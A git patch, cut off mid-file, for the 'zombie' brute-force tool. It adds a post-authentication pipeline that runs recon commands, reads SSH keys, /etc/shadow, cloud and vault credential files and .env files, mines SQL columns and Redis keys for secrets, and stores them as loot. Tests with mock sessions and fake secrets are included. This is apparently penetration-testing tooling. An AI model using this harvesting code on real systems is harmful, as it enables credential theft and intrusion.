From 2b64f087fe0463850464a10c2f0919aac85c1b6a Mon Sep 17 00:00:00 2001 From: M09Ic Date: Thu, 11 Jun 2026 20:22:58 -0700 Subject: [PATCH 01/18] feat: Session/Action architecture + proton post-auth scanning Major architecture refactor for zombie v2: Session layer: typed capability interfaces (ShellSession, SQLSession, KVSession, FileSession, DirectorySession) replacing raw connection hiding. Plugin.Open() returns Session instead of Login() returning error. Action layer: composable post-auth pipeline. PostAction collects remote info (Loot) and runs proton template matching on remote data. Triggered via --proton --scan-template flags; default behavior (pure brute) unchanged. Plugin rewrite: all 23 plugins converted to stateless factories returning typed Sessions. Shared sqlsess/kvsess internal packages eliminate duplication. Dispatch switch replaced by plugin registry. Worker: Execute(task, plugins, pipeline) replaces Brute(task). Empty pipeline = pure auth verification (backward compatible). 27 e2e tests cover: CLI parsing, 3 attack modes, 6+ services, --proton pipeline, Runner API, Worker Execute. Co-Authored-By: Claude Opus 4.6 (1M context) --- action/action_test.go | 333 +++++++++++++++++++++++ action/post.go | 377 ++++++++++++++++++++++++++ core/e2e_test.go | 410 +++++++++++++++++++++++++++++ core/options.go | 13 + core/runner.go | 27 +- core/runner_option.go | 5 + core/worker.go | 58 +++- go.mod | 16 +- go.sum | 44 +++- pkg/action.go | 16 ++ pkg/session.go | 60 +++++ pkg/types.go | 32 ++- plugin/Dispatch.go | 132 ---------- plugin/ftp/ftp.go | 93 ++++--- plugin/http/auth.go | 63 ++--- plugin/http/digest.go | 48 ++-- plugin/http/http.go | 208 +++++++-------- plugin/http/proxy.go | 82 +++--- plugin/internal/kvsess/kvsess.go | 39 +++ plugin/internal/sqlsess/sqlsess.go | 84 ++++++ plugin/ldap/ldap.go | 98 +++---- plugin/memcache/memcache.go | 43 ++- plugin/mongo/mongo.go | 91 +++---- plugin/mq/amqp.go | 50 ++-- plugin/mq/mqtt.go | 52 ++-- plugin/mssql/mssql.go | 74 ++---- plugin/mysql/mysql.go | 78 ++---- plugin/neutron/neutron.go | 80 +++--- plugin/oracle/oracle.go | 87 +++--- plugin/plugin.go | 9 + plugin/pop3/pop3.go | 65 ++--- plugin/postgre/postgre.go | 175 +++--------- plugin/rdp/rdp.go | 42 ++- plugin/redis/redis.go | 77 ++---- plugin/registry.go | 75 ++++++ plugin/rsync/rsync.go | 64 ++--- plugin/smb/smb.go | 166 ++++++++---- plugin/snmp/snmp.go | 145 ++-------- plugin/socks5/socks5.go | 79 +++--- plugin/ssh/ssh.go | 70 ++--- plugin/vnc/vnc.go | 79 ++---- plugin/zookeeper/zookeeper.go | 54 ++-- 42 files changed, 2506 insertions(+), 1387 deletions(-) create mode 100644 action/action_test.go create mode 100644 action/post.go create mode 100644 core/e2e_test.go create mode 100644 pkg/action.go create mode 100644 pkg/session.go delete mode 100644 plugin/Dispatch.go create mode 100644 plugin/internal/kvsess/kvsess.go create mode 100644 plugin/internal/sqlsess/sqlsess.go create mode 100644 plugin/plugin.go create mode 100644 plugin/registry.go diff --git a/action/action_test.go b/action/action_test.go new file mode 100644 index 0000000..3206007 --- /dev/null +++ b/action/action_test.go @@ -0,0 +1,333 @@ +package action + +import ( + "fmt" + "os" + "path/filepath" + "testing" + + "github.com/chainreactors/parsers" + "github.com/chainreactors/zombie/pkg" +) + +// --- Mock Sessions --- + +type mockShellSession struct { + files map[string][]byte +} + +func (m *mockShellSession) Service() string { return "ssh" } +func (m *mockShellSession) Close() error { return nil } +func (m *mockShellSession) Raw() interface{} { return nil } +func (m *mockShellSession) Exec(cmd string) ([]byte, error) { + for path, data := range m.files { + if containsSubstr(cmd, path) { + return data, nil + } + } + return nil, fmt.Errorf("not found") +} + +type mockSQLSession struct { + service string + rows map[string][][]string +} + +func (m *mockSQLSession) Service() string { return m.service } +func (m *mockSQLSession) Close() error { return nil } +func (m *mockSQLSession) Raw() interface{} { return nil } +func (m *mockSQLSession) Query(query string, args ...any) ([][]string, error) { + for key, rows := range m.rows { + if containsSubstr(query, key) { + return rows, nil + } + } + return nil, fmt.Errorf("no results") +} +func (m *mockSQLSession) Databases() ([]string, error) { + return []string{"testdb", "production"}, nil +} + +type mockKVSession struct{} + +func (m *mockKVSession) Service() string { return "redis" } +func (m *mockKVSession) Close() error { return nil } +func (m *mockKVSession) Raw() interface{} { return nil } +func (m *mockKVSession) Get(key string) ([]byte, error) { + if key == "user:token" { + return []byte("ghp_abcdefghij1234567890abcdefghij1234"), nil + } + return nil, nil +} +func (m *mockKVSession) Keys(pattern string) ([]string, error) { + if pattern == "*" || pattern == "*token*" { + return []string{"user:token"}, nil + } + return nil, nil +} + +type mockFileSession struct{} + +func (m *mockFileSession) Service() string { return "ftp" } +func (m *mockFileSession) Close() error { return nil } +func (m *mockFileSession) Raw() interface{} { return nil } +func (m *mockFileSession) List(path string) ([]string, error) { + return []string{".env", "config.yaml", "data.csv"}, nil +} +func (m *mockFileSession) Read(path string) ([]byte, error) { + if path == "/.env" { + return []byte("DB_PASSWORD=SuperSecret123\nAPI_KEY=sk_live_abc123\n"), nil + } + return nil, fmt.Errorf("not found") +} + +func containsSubstr(s, sub string) bool { + for i := 0; i <= len(s)-len(sub); i++ { + if s[i:i+len(sub)] == sub { + return true + } + } + return false +} + +func mockTask() *pkg.Task { + return &pkg.Task{ + ZombieResult: &parsers.ZombieResult{ + IP: "10.0.0.1", + Port: "22", + Service: "ssh", + }, + Timeout: 5, + } +} + +func createTestTemplate(t *testing.T) string { + t.Helper() + dir := t.TempDir() + tmpl := `id: test-secret-scan +info: + name: Test Secret Scanner + severity: high +file: + - extensions: + - all + extractors: + - type: regex + regex: + - "(?i)password\\s*[=:]\\s*(\\S+)" + group: 1 + - type: regex + regex: + - "ghp_[A-Za-z0-9]{36}" + matchers: + - type: word + words: + - "password" + - "ghp_" +` + path := filepath.Join(dir, "test.yaml") + os.WriteFile(path, []byte(tmpl), 0644) + return dir +} + +// --- PostAction Tests --- + +func TestPostAction_ScanData(t *testing.T) { + dir := createTestTemplate(t) + a, err := NewPostAction([]string{dir}, 100) + if err != nil { + t.Fatalf("NewPostAction failed: %v", err) + } + + result := &pkg.ActionResult{} + a.scanData([]byte("password = hunter2\nclean line\n"), "test:label", result) + + if len(result.Extracteds) == 0 { + t.Fatal("should find password in test data") + } + found := false + for _, e := range result.Extracteds { + for _, v := range e.ExtractResult { + if v == "hunter2" { + found = true + } + } + } + if !found { + t.Error("should extract 'hunter2'") + } +} + +func TestPostAction_GitHubToken(t *testing.T) { + dir := createTestTemplate(t) + a, err := NewPostAction([]string{dir}, 100) + if err != nil { + t.Fatalf("NewPostAction failed: %v", err) + } + + token := "ghp_abcdefghijklmnopqrstuvwxyz1234567890" + result := &pkg.ActionResult{} + a.scanData([]byte("GITHUB_TOKEN="+token+"\n"), "test:github", result) + + if len(result.Extracteds) == 0 { + t.Fatal("should find GitHub token") + } + found := false + for _, e := range result.Extracteds { + for _, v := range e.ExtractResult { + if v == token { + found = true + } + } + } + if !found { + t.Error("should extract GitHub token") + } +} + +func TestPostAction_Shell(t *testing.T) { + dir := createTestTemplate(t) + a, err := NewPostAction([]string{dir}, 100) + if err != nil { + t.Fatalf("NewPostAction failed: %v", err) + } + + session := &mockShellSession{ + files: map[string][]byte{ + "hostname": []byte("prodserver\n"), + "id": []byte("uid=0(root)\n"), + "~/.my.cnf": []byte("[client]\npassword = dbpass123\n"), + }, + } + + result, err := a.Run(session, mockTask()) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if len(result.Loot) == 0 { + t.Fatal("should produce loot") + } + + hasProtonFinding := false + for _, e := range result.Extracteds { + if containsSubstr(e.Name, "test-secret-scan") { + hasProtonFinding = true + } + } + if !hasProtonFinding { + t.Error("should have proton scan findings") + } +} + +func TestPostAction_SQL(t *testing.T) { + dir := createTestTemplate(t) + a, err := NewPostAction([]string{dir}, 100) + if err != nil { + t.Fatalf("NewPostAction failed: %v", err) + } + + session := &mockSQLSession{ + service: "mysql", + rows: map[string][][]string{ + "mysql.user": { + {"user", "host"}, + {"root", "localhost"}, + }, + }, + } + task := mockTask() + task.Service = "mysql" + task.Port = "3306" + + result, err := a.Run(session, task) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + + foundDB := false + for _, e := range result.Extracteds { + if e.Name == "databases" { + foundDB = true + } + } + if !foundDB { + t.Error("should have extracted databases") + } +} + +func TestPostAction_KV(t *testing.T) { + dir := createTestTemplate(t) + a, err := NewPostAction([]string{dir}, 100) + if err != nil { + t.Fatalf("NewPostAction failed: %v", err) + } + + session := &mockKVSession{} + task := mockTask() + task.Service = "redis" + + result, err := a.Run(session, task) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if len(result.Extracteds) == 0 { + t.Fatal("should find GitHub token in Redis key") + } +} + +func TestPostAction_File(t *testing.T) { + dir := createTestTemplate(t) + a, err := NewPostAction([]string{dir}, 100) + if err != nil { + t.Fatalf("NewPostAction failed: %v", err) + } + + session := &mockFileSession{} + task := mockTask() + task.Service = "ftp" + + result, err := a.Run(session, task) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if len(result.Loot) == 0 { + t.Error("should collect .env as loot") + } +} + +// --- Worker Integration Test --- + +func TestWorkerExecute_WithPostAction(t *testing.T) { + dir := createTestTemplate(t) + a, err := NewPostAction([]string{dir}, 100) + if err != nil { + t.Fatalf("NewPostAction failed: %v", err) + } + + session := &mockShellSession{ + files: map[string][]byte{ + "hostname": []byte("testhost\n"), + "/etc/shadow": []byte("root:$6$hash:18000:0:99999:7:::\n"), + "~/.vault-token": []byte("s.abcdefghij1234567890\n"), + }, + } + + task := mockTask() + result := &pkg.Result{Task: task, OK: true} + + ar, err := a.Run(session, task) + if err != nil { + t.Fatalf("action failed: %v", err) + } + result.Merge(ar) + + if !result.OK { + t.Fatal("result should be OK") + } + if len(result.Loot) == 0 { + t.Fatal("should have loot") + } + + t.Logf("Worker: %d extracteds, %d loot, %d action results", + len(result.Extracteds), len(result.Loot), len(result.ActionResults)) +} diff --git a/action/post.go b/action/post.go new file mode 100644 index 0000000..f89b800 --- /dev/null +++ b/action/post.go @@ -0,0 +1,377 @@ +package action + +import ( + "fmt" + "os" + "path/filepath" + "strings" + + "github.com/chainreactors/neutron/protocols" + "github.com/chainreactors/parsers" + "github.com/chainreactors/proton/proton/file" + "github.com/chainreactors/proton/template" + "github.com/chainreactors/zombie/pkg" + "gopkg.in/yaml.v3" +) + +var credentialColumns = []string{ + "password", "passwd", "pwd", "pass", + "secret", "token", "api_key", "apikey", + "access_key", "private_key", "auth", + "credential", "connection_string", + "encryption_key", "client_secret", +} + +var shellScanPaths = []string{ + "~/.ssh/config", "~/.ssh/authorized_keys", + "~/.ssh/id_rsa", "~/.ssh/id_ecdsa", "~/.ssh/id_ed25519", + "~/.aws/credentials", "~/.aws/config", + "~/.docker/config.json", "~/.kube/config", + "/etc/shadow", "/etc/passwd", + "~/.bash_history", "~/.zsh_history", + "~/.my.cnf", "~/.pgpass", "~/.netrc", + "~/.git-credentials", "~/.vault-token", +} + +var shellGatherCmds = []struct { + Name string + Cmd string +}{ + {"whoami", "id 2>/dev/null"}, + {"hostname", "hostname 2>/dev/null"}, + {"uname", "uname -a 2>/dev/null"}, + {"netstat", "ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null"}, + {"env", "env 2>/dev/null"}, +} + +type PostAction struct { + scanner *file.Scanner + dbLimit int +} + +func NewPostAction(templatePaths []string, dbLimit int) (*PostAction, error) { + if dbLimit <= 0 { + dbLimit = 1000 + } + execOpts := &protocols.ExecuterOptions{Options: &protocols.Options{}} + var rules []file.Rule + for _, p := range templatePaths { + tmpls, err := loadTemplatesFromPath(p, execOpts) + if err != nil { + return nil, fmt.Errorf("load templates from %s: %w", p, err) + } + for _, tmpl := range tmpls { + if len(tmpl.RequestsFile) > 0 { + rules = append(rules, file.Rule{ + ID: tmpl.Id, Name: tmpl.Info.Name, + Severity: tmpl.Info.Severity, Requests: tmpl.RequestsFile, + }) + } + } + } + if len(rules) == 0 { + return nil, fmt.Errorf("no file rules in loaded templates") + } + return &PostAction{ + scanner: file.NewScanner(rules, execOpts), + dbLimit: dbLimit, + }, nil +} + +func (a *PostAction) Name() string { return "post" } + +func (a *PostAction) Run(session pkg.Session, task *pkg.Task) (*pkg.ActionResult, error) { + if sh, ok := pkg.AsShell(session); ok { + return a.postShell(sh, task) + } + if sq, ok := pkg.AsSQL(session); ok { + return a.postSQL(sq, task) + } + if kv, ok := pkg.AsKV(session); ok { + return a.postKV(kv, task) + } + if fs, ok := pkg.AsFile(session); ok { + return a.postFile(fs, task) + } + return nil, nil +} + +func (a *PostAction) postShell(sh pkg.ShellSession, task *pkg.Task) (*pkg.ActionResult, error) { + result := &pkg.ActionResult{Loot: make(map[string][]byte)} + + for _, c := range shellGatherCmds { + out, err := sh.Exec(c.Cmd) + if err != nil || len(out) == 0 { + continue + } + label := fmt.Sprintf("ssh:%s:%s:%s", task.IP, task.Port, c.Name) + result.Loot[label] = out + result.Extracteds = append(result.Extracteds, &parsers.Extracted{ + Name: c.Name, ExtractResult: []string{truncate(string(out), 500)}, + }) + } + + for _, path := range shellScanPaths { + data, err := sh.Exec(fmt.Sprintf("cat '%s' 2>/dev/null | head -c 1048576", path)) + if err != nil || len(data) == 0 { + continue + } + label := fmt.Sprintf("ssh:%s:%s:%s", task.IP, task.Port, path) + result.Loot[label] = data + a.scanData(data, label, result) + } + + envFiles, err := sh.Exec("find /home /opt /srv -maxdepth 3 -name '.env*' -type f 2>/dev/null") + if err == nil { + for _, p := range strings.Split(string(envFiles), "\n") { + p = strings.TrimSpace(p) + if p == "" { + continue + } + data, err := sh.Exec(fmt.Sprintf("cat '%s' 2>/dev/null | head -c 1048576", p)) + if err != nil || len(data) == 0 { + continue + } + label := fmt.Sprintf("ssh:%s:%s:%s", task.IP, task.Port, p) + result.Loot[label] = data + a.scanData(data, label, result) + } + } + + return result, nil +} + +func (a *PostAction) postSQL(sq pkg.SQLSession, task *pkg.Task) (*pkg.ActionResult, error) { + result := &pkg.ActionResult{} + + dbs, err := sq.Databases() + if err == nil && len(dbs) > 0 { + result.Extracteds = append(result.Extracteds, &parsers.Extracted{ + Name: "databases", ExtractResult: dbs, + }) + } + + userQueries := map[string]string{ + "mysql": "SELECT user, host FROM mysql.user", + "postgresql": "SELECT usename FROM pg_catalog.pg_user", + "mssql": "SELECT name FROM sys.server_principals WHERE type IN ('S','U')", + } + if q, ok := userQueries[sq.Service()]; ok { + rows, err := sq.Query(q) + if err == nil && len(rows) > 1 { + var users []string + for i, row := range rows { + if i == 0 { + continue + } + users = append(users, strings.Join(row, "@")) + } + result.Extracteds = append(result.Extracteds, &parsers.Extracted{ + Name: "users", ExtractResult: users, + }) + } + } + + columns, err := a.discoverCredentialColumns(sq) + if err == nil { + for _, col := range columns { + q := fmt.Sprintf("SELECT `%s` FROM `%s`.`%s` LIMIT %d", col.column, col.schema, col.table, a.dbLimit) + if sq.Service() == "postgresql" || sq.Service() == "mssql" { + q = fmt.Sprintf(`SELECT "%s" FROM "%s"."%s" LIMIT %d`, col.column, col.schema, col.table, a.dbLimit) + } + rows, err := sq.Query(q) + if err != nil { + continue + } + for i, row := range rows { + if i == 0 || len(row) == 0 || row[0] == "" { + continue + } + label := fmt.Sprintf("db:%s:%s:%s.%s.%s", task.IP, task.Port, col.schema, col.table, col.column) + a.scanData([]byte(row[0]), label, result) + } + } + } + + return result, nil +} + +type dbColumn struct { + schema, table, column string +} + +func (a *PostAction) discoverCredentialColumns(sq pkg.SQLSession) ([]dbColumn, error) { + var conditions []string + for _, pat := range credentialColumns { + conditions = append(conditions, fmt.Sprintf("LOWER(COLUMN_NAME) LIKE '%%%s%%'", pat)) + } + + excludeSchemas := "'information_schema','mysql','performance_schema','sys','pg_catalog','pg_toast'" + q := fmt.Sprintf( + "SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE (%s) AND TABLE_SCHEMA NOT IN (%s)", + strings.Join(conditions, " OR "), excludeSchemas, + ) + + rows, err := sq.Query(q) + if err != nil { + return nil, err + } + var cols []dbColumn + for i, row := range rows { + if i == 0 || len(row) < 3 { + continue + } + cols = append(cols, dbColumn{schema: row[0], table: row[1], column: row[2]}) + } + return cols, nil +} + +func (a *PostAction) postKV(kv pkg.KVSession, task *pkg.Task) (*pkg.ActionResult, error) { + result := &pkg.ActionResult{} + + allKeys, err := kv.Keys("*") + if err == nil { + result.Extracteds = append(result.Extracteds, &parsers.Extracted{ + Name: "key_count", ExtractResult: []string{fmt.Sprintf("%d", len(allKeys))}, + }) + if len(allKeys) > 0 && len(allKeys) <= 50 { + result.Extracteds = append(result.Extracteds, &parsers.Extracted{ + Name: "keys", ExtractResult: allKeys, + }) + } + } + + patterns := []string{"*password*", "*secret*", "*token*", "*key*", "*cred*", "*auth*"} + seen := make(map[string]bool) + for _, pat := range patterns { + keys, err := kv.Keys(pat) + if err != nil { + continue + } + for _, key := range keys { + if seen[key] { + continue + } + seen[key] = true + val, err := kv.Get(key) + if err != nil || len(val) == 0 { + continue + } + label := fmt.Sprintf("kv:%s:%s:%s", task.IP, task.Port, key) + a.scanData(val, label, result) + } + } + + return result, nil +} + +func (a *PostAction) postFile(fs pkg.FileSession, task *pkg.Task) (*pkg.ActionResult, error) { + result := &pkg.ActionResult{Loot: make(map[string][]byte)} + + entries, err := fs.List("/") + if err != nil { + return result, nil + } + if len(entries) > 0 { + result.Extracteds = append(result.Extracteds, &parsers.Extracted{ + Name: "root_listing", ExtractResult: entries, + }) + } + + sensitive := []string{".env", "config", "credential", ".htpasswd", ".pgpass", ".my.cnf", ".netrc"} + for _, entry := range entries { + name := strings.ToLower(entry) + for _, s := range sensitive { + if strings.Contains(name, s) { + data, err := fs.Read("/" + entry) + if err != nil || len(data) == 0 { + continue + } + label := fmt.Sprintf("file:%s:%s:/%s", task.IP, task.Port, entry) + result.Loot[label] = data + a.scanData(data, label, result) + break + } + } + } + + return result, nil +} + +func (a *PostAction) scanData(data []byte, label string, result *pkg.ActionResult) { + if a.scanner == nil { + return + } + for _, group := range a.scanner.Groups { + findings := a.scanner.ScanData(data, label, group) + for _, f := range findings { + var extracts []string + for _, e := range f.Extracts { + extracts = append(extracts, e.Value) + } + for _, events := range f.Matches { + for _, e := range events { + extracts = append(extracts, e.Value) + } + } + if len(extracts) > 0 { + result.Extracteds = append(result.Extracteds, &parsers.Extracted{ + Name: fmt.Sprintf("%s:%s", f.TemplateID, label), + Severity: f.Severity, + ExtractResult: extracts, + }) + } + } + } +} + +func truncate(s string, n int) string { + if len(s) <= n { + return s + } + return s[:n] + "..." +} + +func loadTemplatesFromPath(path string, execOpts *protocols.ExecuterOptions) ([]*template.Template, error) { + info, err := os.Stat(path) + if err != nil { + return nil, err + } + if !info.IsDir() { + return loadTemplateFile(path, execOpts) + } + var tmpls []*template.Template + filepath.WalkDir(path, func(p string, d os.DirEntry, err error) error { + if err != nil || d.IsDir() { + return nil + } + if !strings.HasSuffix(p, ".yaml") && !strings.HasSuffix(p, ".yml") { + return nil + } + loaded, err := loadTemplateFile(p, execOpts) + if err != nil { + return nil + } + tmpls = append(tmpls, loaded...) + return nil + }) + return tmpls, nil +} + +func loadTemplateFile(path string, execOpts *protocols.ExecuterOptions) ([]*template.Template, error) { + data, err := os.ReadFile(path) + if err != nil { + return nil, err + } + var tmpl template.Template + if err := yaml.Unmarshal(data, &tmpl); err != nil { + return nil, err + } + if len(tmpl.RequestsFile) == 0 { + return nil, nil + } + if err := tmpl.Compile(execOpts); err != nil { + return nil, err + } + return []*template.Template{&tmpl}, nil +} diff --git a/core/e2e_test.go b/core/e2e_test.go new file mode 100644 index 0000000..d706c79 --- /dev/null +++ b/core/e2e_test.go @@ -0,0 +1,410 @@ +package core + +import ( + "bytes" + "context" + "fmt" + "net" + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/chainreactors/parsers" + "github.com/chainreactors/zombie/pkg" +) + +// === CLI parsing & validation === + +func TestE2E_Version(t *testing.T) { + var out bytes.Buffer + err := RunWithArgs(context.Background(), []string{"--version"}, RunOptions{ + Output: &out, + Version: "v2.0.0-test", + }) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if !strings.Contains(out.String(), "v2.0.0-test") { + t.Fatalf("expected version, got: %q", out.String()) + } +} + +func TestE2E_Help(t *testing.T) { + var out bytes.Buffer + err := RunWithArgs(context.Background(), []string{"--help"}, RunOptions{Output: &out}) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if !strings.Contains(out.String(), "zombie") { + t.Fatalf("expected help, got: %q", out.String()) + } +} + +func TestE2E_ListServices(t *testing.T) { + var out bytes.Buffer + err := RunWithArgs(context.Background(), []string{"-l"}, RunOptions{Output: &out}) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + output := out.String() + for _, svc := range []string{"ssh", "mysql", "redis", "ftp", "smb", "ldap"} { + if !strings.Contains(output, svc) { + t.Errorf("service list missing %q", svc) + } + } +} + +func TestE2E_NoTargetError(t *testing.T) { + var out bytes.Buffer + err := RunWithArgs(context.Background(), []string{"-s", "ssh"}, RunOptions{Output: &out}) + if err == nil { + t.Fatal("should error without target") + } +} + +func TestE2E_InvalidMod(t *testing.T) { + var out bytes.Buffer + err := RunWithArgs(context.Background(), []string{ + "-i", "127.0.0.1", "-s", "ssh", "-m", "invalid", + }, RunOptions{Output: &out}) + if err == nil { + t.Fatal("should error on invalid mod") + } + if !strings.Contains(err.Error(), "unsupported mod") { + t.Fatalf("unexpected error: %v", err) + } +} + +func TestE2E_PitchforkWithoutAuth(t *testing.T) { + var out bytes.Buffer + err := RunWithArgs(context.Background(), []string{ + "-i", "127.0.0.1", "-s", "ssh", "-m", "pitchfork", + }, RunOptions{Output: &out}) + if err == nil { + t.Fatal("pitchfork without -a should error") + } +} + +// === Proton flag validation === + +func TestE2E_ProtonWithoutTemplate(t *testing.T) { + var out bytes.Buffer + err := RunWithArgs(context.Background(), []string{ + "-i", "127.0.0.1", "-s", "ssh", "-u", "root", "-p", "pass", "--proton", + }, RunOptions{Output: &out}) + if err == nil { + t.Fatal("--proton without --scan-template should error") + } + if !strings.Contains(err.Error(), "--scan-template") { + t.Fatalf("error should mention --scan-template, got: %v", err) + } +} + +func TestE2E_ProtonWithInvalidTemplate(t *testing.T) { + var out bytes.Buffer + err := RunWithArgs(context.Background(), []string{ + "-i", "127.0.0.1", "-s", "ssh", "-u", "root", "-p", "pass", + "--proton", "--scan-template", "/nonexistent/path", + }, RunOptions{Output: &out}) + if err == nil { + t.Fatal("--proton with bad template should error") + } +} + +// === Target URL parsing === + +func TestE2E_ParseURL_SSH(t *testing.T) { + target, ok := ParseUrl("ssh://admin:pass@10.0.0.5:2222") + if !ok { + t.Fatal("should parse SSH URL") + } + assertTarget(t, target, "10.0.0.5", "2222", "ssh", "admin", "pass") +} + +func TestE2E_ParseURL_MySQL(t *testing.T) { + target, ok := ParseUrl("mysql://root:secret@db.host:3306") + if !ok { + t.Fatal("should parse MySQL URL") + } + assertTarget(t, target, "db.host", "3306", "mysql", "root", "secret") +} + +func TestE2E_ParseURL_Redis(t *testing.T) { + target, ok := ParseUrl("redis://:authpass@10.0.0.1:6379") + if !ok { + t.Fatal("should parse Redis URL") + } + if target.Service != "redis" { + t.Errorf("Service = %q, want redis", target.Service) + } +} + +func TestE2E_ParseURL_PostgreSQL(t *testing.T) { + target, ok := ParseUrl("postgresql://app:dbpass@pg.host:5432") + if !ok { + t.Fatal("should parse PostgreSQL URL") + } + if target.Service != "postgresql" { + t.Errorf("Service = %q, want postgresql", target.Service) + } +} + +// === Brute via CLI (full RunWithArgs, closed port) === + +func TestE2E_Brute_Sniper_ClosedPort(t *testing.T) { + port := findFreePort(t) + var out bytes.Buffer + ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second) + defer cancel() + + err := RunWithArgs(ctx, []string{ + "-i", fmt.Sprintf("127.0.0.1:%d", port), + "-s", "ssh", "-u", "root", "-p", "test", + "-m", "sniper", "--timeout", "2", + "-q", "-f", os.DevNull, + }, RunOptions{Output: &out}) + t.Logf("sniper: err=%v", err) +} + +func TestE2E_Brute_ClusterBomb_ClosedPort(t *testing.T) { + port := findFreePort(t) + var out bytes.Buffer + ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second) + defer cancel() + + err := RunWithArgs(ctx, []string{ + "-i", fmt.Sprintf("127.0.0.1:%d", port), + "-s", "redis", "-u", "default", "-p", "test", + "-m", "clusterbomb", "--timeout", "2", + "--no-honeypot", "--no-unauth", + "-q", "-f", os.DevNull, + }, RunOptions{Output: &out}) + t.Logf("clusterbomb: err=%v", err) +} + +func TestE2E_Brute_Pitchfork_ClosedPort(t *testing.T) { + port := findFreePort(t) + var out bytes.Buffer + ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second) + defer cancel() + + err := RunWithArgs(ctx, []string{ + "-i", fmt.Sprintf("127.0.0.1:%d", port), + "-s", "mysql", "-a", "root::password", + "-m", "pitchfork", "--timeout", "2", + "-q", "-f", os.DevNull, + }, RunOptions{Output: &out}) + t.Logf("pitchfork: err=%v", err) +} + +// === Multiple services via CLI === + +func TestE2E_AllServices_ClosedPort(t *testing.T) { + port := findFreePort(t) + services := []string{"ssh", "mysql", "redis", "ftp", "postgresql", "mssql"} + + for _, svc := range services { + t.Run(svc, func(t *testing.T) { + var out bytes.Buffer + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) + defer cancel() + + err := RunWithArgs(ctx, []string{ + "-i", fmt.Sprintf("127.0.0.1:%d", port), + "-s", svc, "-u", "test", "-p", "test", + "-m", "sniper", "--timeout", "1", + "--no-honeypot", + "-q", "-f", os.DevNull, + }, RunOptions{Output: &out}) + t.Logf("%s: err=%v", svc, err) + }) + } +} + +// === Proton pipeline via CLI === + +func TestE2E_Proton_ClosedPort(t *testing.T) { + port := findFreePort(t) + tmplDir := createE2ETemplate(t) + + var out bytes.Buffer + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) + defer cancel() + + err := RunWithArgs(ctx, []string{ + "-i", fmt.Sprintf("127.0.0.1:%d", port), + "-s", "ssh", "-u", "root", "-p", "test", + "-m", "sniper", "--timeout", "1", + "--proton", "--scan-template", tmplDir, + "-q", "-f", os.DevNull, + }, RunOptions{Output: &out}) + t.Logf("proton pipeline: err=%v", err) +} + +// === Runner API === + +func TestE2E_RunnerAPI_DefaultPipeline(t *testing.T) { + runner := NewRunner(NewDefaultRunnerOption()) + if err := runner.BuildPipeline(); err != nil { + t.Fatalf("default pipeline should not error: %v", err) + } + if len(runner.Pipeline) != 0 { + t.Fatal("default pipeline should be empty") + } +} + +func TestE2E_RunnerAPI_ProtonPipeline(t *testing.T) { + tmplDir := createE2ETemplate(t) + opt := NewDefaultRunnerOption() + opt.Proton = true + opt.ScanTemplates = []string{tmplDir} + + runner := NewRunner(opt) + if err := runner.BuildPipeline(); err != nil { + t.Fatalf("build failed: %v", err) + } + if len(runner.Pipeline) != 1 { + t.Fatalf("expected 1 action, got %d", len(runner.Pipeline)) + } + if runner.Pipeline[0].Name() != "post" { + t.Errorf("name = %q, want post", runner.Pipeline[0].Name()) + } +} + +func TestE2E_RunnerAPI_PluginRegistry(t *testing.T) { + runner := NewRunner(NewDefaultRunnerOption()) + required := []string{"ssh", "mysql", "redis", "ftp", "smb", "ldap", "postgresql", "mssql", "oracle", "neutron"} + for _, svc := range required { + if _, ok := runner.Plugins[svc]; !ok { + t.Errorf("registry missing %q", svc) + } + } +} + +// === Worker Execute (direct, no runner) === + +func TestE2E_WorkerExecute_ClosedPort(t *testing.T) { + runner := NewRunner(NewDefaultRunnerOption()) + port := findFreePort(t) + + task := &pkg.Task{ + ZombieResult: &parsers.ZombieResult{ + IP: "127.0.0.1", Port: fmt.Sprintf("%d", port), + Service: "ssh", Username: "root", Password: "test", + }, + Timeout: 1, + } + + result := Execute(task, runner.Plugins, runner.Pipeline) + if result.OK { + t.Error("should not succeed on closed port") + } + if result.Err == nil { + t.Error("should have error") + } + t.Logf("Execute: OK=%v, Err=%v", result.OK, result.Err) +} + +func TestE2E_WorkerExecute_WithProton_ClosedPort(t *testing.T) { + tmplDir := createE2ETemplate(t) + opt := NewDefaultRunnerOption() + opt.Proton = true + opt.ScanTemplates = []string{tmplDir} + + runner := NewRunner(opt) + runner.BuildPipeline() + port := findFreePort(t) + + task := &pkg.Task{ + ZombieResult: &parsers.ZombieResult{ + IP: "127.0.0.1", Port: fmt.Sprintf("%d", port), + Service: "ssh", Username: "root", Password: "test", + }, + Timeout: 1, + } + + result := Execute(task, runner.Plugins, runner.Pipeline) + if result.OK { + t.Error("should not succeed on closed port") + } + if len(result.ActionResults) > 0 { + t.Error("no actions should run when Open fails") + } +} + +func TestE2E_WorkerExecute_MultipleServices_ClosedPort(t *testing.T) { + runner := NewRunner(NewDefaultRunnerOption()) + port := findFreePort(t) + + services := []string{"ssh", "mysql", "redis", "ftp", "postgresql", "mssql", "smb", "ldap"} + for _, svc := range services { + t.Run(svc, func(t *testing.T) { + task := &pkg.Task{ + ZombieResult: &parsers.ZombieResult{ + IP: "127.0.0.1", Port: fmt.Sprintf("%d", port), + Service: svc, Username: "test", Password: "test", + }, + Timeout: 1, + } + result := Execute(task, runner.Plugins, runner.Pipeline) + if result.OK { + t.Errorf("%s should not succeed on closed port", svc) + } + t.Logf("%s: OK=%v, Err=%v", svc, result.OK, result.Err) + }) + } +} + +// === Helpers === + +func findFreePort(t *testing.T) int { + t.Helper() + l, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatal(err) + } + port := l.Addr().(*net.TCPAddr).Port + l.Close() + return port +} + +func createE2ETemplate(t *testing.T) string { + t.Helper() + dir := 